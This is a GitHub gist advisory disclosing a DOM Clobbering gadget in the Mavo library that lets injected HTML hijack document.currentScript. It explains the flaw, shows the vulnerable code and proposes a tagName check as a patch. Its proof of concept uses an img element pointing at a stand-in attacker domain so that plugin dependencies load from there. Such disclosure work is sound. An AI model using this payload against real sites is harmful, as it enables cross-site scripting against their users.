Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Last active March 3, 2025 02:33
Show Gist options
  • Select an option

  • Save jackfromeast/a61a5429a97985e7ff4c1d39e339d5d8 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/a61a5429a97985e7ff4c1d39e339d5d8 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in Mavo that leads to XSS

Summary

We identified a DOM Clobbering vulnerability within the Mavo library (version 0.3.2). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Given the usage of Mavo in various web applications, addressing this vulnerability will enhance its resilience against DOM Clobbering attacks.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gagdet found in Mavo

Mavo’s plugin-loading mechanism uses document.currentScript to set the base URL for loading dependencies. However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by attacker-injected non-script HTML elements (e.g., <img name="currentScript">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements, enabling arbitrary script loading from the attacker's controlled domain.

https://github.com/mavoweb/mavo/blob/78efe2b9cadd09c1d131b8afd5fe2f38d5cfa8c7/src/plugins.js#L94-L98
if (o.dependencies) {
    let base = document.currentScript ? document.currentScript.src : location;
    let dependencies = o.dependencies.map(url => Mavo.load(url, base));
    ready.push(...dependencies);
}

In this code, base can be influenced by setting the src of an attacker-controlled element with name="currentScript", resulting in loading dependencies from an attacker’s domain.

PoC

The following example demonstrates how a dependency, i.e., a.jd, can be loaded from attacker-controlled domain through an injected HTML element:

<html>
<body>
<!-- Payload -->
<img name="currentScript" src="http://attacker.controlled.com"></img>
<!-- Payload -->

<!-- Library -->
<script src="https://get.mavo.io/stable/mavo.js"></script>
<link rel="stylesheet" href="https://get.mavo.io/stable/mavo.css">
<script>
(function ($, $$) {
    Mavo.Plugins.register("myplugin", {
        dependencies: ["a.js"],
    });
})(Bliss, Bliss.$);
</script>
<!-- Library -->
</body>
</html>

Patch

To mitigate this issue, an additional type check should be added to ensure that document.currentScript references only <script> elements:

let base = document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' ? document.currentScript.src : location;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment